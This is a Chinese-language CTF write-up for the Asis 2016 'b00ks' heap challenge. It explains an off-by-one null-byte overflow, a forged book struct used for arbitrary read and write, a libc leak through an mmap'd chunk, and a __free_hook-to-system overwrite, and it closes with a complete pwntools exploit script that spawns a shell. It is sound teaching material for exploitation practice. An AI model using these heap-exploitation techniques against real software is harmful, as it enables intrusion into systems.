题目链接:https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/off_by_one/Asis_2016_b00ks
__free_hook and off by one
有漏洞会多读取一个字节的/x00
author name存放在unk_202040+pie处,32个字节
分析后可以推断出book结构体是如下的,而且在unk_202060+pie处开始存放结构体指针,我们可以进行一个字节的溢出,来控制book1的最低位地址
struct book_struct
{
int id;
void * book_name;
void *book_description;
int description_size;
}
//字节对齐后最终占到32字节
输入32个字节name再打印就可以泄露
我们再次修改another——name会再次把0x2060处覆盖为0,也就是说我们book1的结构体地址往低地址走了,而我们malloc的时候顺序是 book_name–>book_description–>book_struct
所有我们可以通过计算把book1地址变为book_description(具体为申请一个较大的description,有利于我们book1落在上面,通过对bookname控制调整可以准确落在什么),我们的description可以再次修改,我们可以在book1的des伪造一个book结构体,如果说我们把伪造结构体的des改为book2的description地址,我们就可以通过修改1的des为想要读写地址,再通过
book2的des进行修改和读取
开启了FULL RELRO,不能改写got表,程序中用到了free和malloc函数,我们可以打free_hook,将free 函数hook为system,description修改为binsh地址,这样我们free(description)就可以拿到shell,要拿到__free_hook地址我们还需要泄露libc的基址,我们可以利用malloc申请大内存,这样malloc就会调用mmap直接映射一块内存给我们,
这块内存和libc的基地址是固定的,我们可以泄露des地址,通过减去固定偏移得到libc基址
create_book(0x21000, “two”, 0x21000, “twodes”)
得到偏移,0x7f3100400000-0x7f31003bc010=0x43FF0
这里偏移还需要把aslr关掉,不关闭会随机化,试了一下libc2.35会随机,2.23不会,远程的话可能要利用bins去泄露动态地址
/proc/sys/kernel/randomize_va_space
- 0 = 关闭
- 1 = 半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。
- 2 = 全随机。除了1中所述,还有heap。
- ASLR 不负责代码段以及数据段的随机化工作,这项工作由 PIE 负责。但是只有在开启 ASLR 之后,PIE 才会生效。
由于我们第二次申请的内存都过大,都采用vmmap,所以malloc book2时之后第一个book1地址间隔0x30(数据大小0x20+chunk_head(0x10))
伪造book1,payload=p64(1) + p64(book_two_ad + 8)+p64(book_two_ad+16)+ p64(140)
布置好之后,free
本来是要拿到shell的可是2.35libc已经删除hook,可以看到free汇编里已经没有了,检测hook
换上libc2.23的机器重新计算偏移,拿到shell
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./b00ks'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
if args['REMOTE']:
io = remote()
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
p =lambda x,y:success(x+'-->'+hex(y))
# db('b *$rebase(0xE15)')
def create_book(name_size, book_name, desc_size, book_desc):
io.recv()
io.sendline(b'1')
io.sendlineafter(b'Enter book name size: ', str(name_size).encode())
io.sendlineafter(b'Enter book name (Max 32 chars): ', book_name)
io.sendlineafter(b'Enter book description size: ', str(desc_size).encode())
io.sendlineafter(b'Enter book description: ', book_desc)
def delete_book(book_id):
io.recv()
io.sendline(b'2')
io.sendlineafter(b'Enter the book id you want to delete: ', str(book_id).encode())
def edit_book(book_id, book_desc):
io.recv()
io.sendline(b'3')
io.sendlineafter(b'Enter the book id you want to edit: ', str(book_id).encode())
io.sendlineafter(b'Enter new book description: ', book_desc)
def print_book():
io.recvuntil(b'>')
io.sendline(b'4')
def change_author_name(name):
io.recv()
io.sendline(b'5')
io.sendlineafter(b'Enter author name:', name)
def input_author_name(name):
io.sendlineafter(b'Enter author name: ', name)
input_author_name(b'a'*32)
create_book(32+0x20+0x90,'one',140,'onedes')
print_book()
ru(b'a'*32)
book_one_ad=u64(r(6).ljust(8,b'\x00'))
p('book_one_ad',book_one_ad)
create_book(0x21000, "two", 0x21000, "twodes")
book_two_ad=book_one_ad+0x30
payload=p64(1) + p64(book_two_ad + 8)+p64(book_two_ad+16)+ p64(140)
edit_book(1,payload)
change_author_name(b'b'*32)
print_book()
ru(b'Description: ')
vmmap_ad=u64(r(6).ljust(8,b'\x00'))
p('vmmap_ad',vmmap_ad)
base=vmmap_ad-0x58F010
p('base',base)
system_ad=libc.symbols['system']+base
free_hook_ad=libc.symbols['__free_hook']+base
bin_ad=next(libc.search(b'/bin/sh'))+base
p('bin_ad',bin_ad)
edit_book(1,p64(free_hook_ad))
edit_book(2,p64(system_ad))
edit_book(1,p64(bin_ad))
delete_book(2)
io.interactive()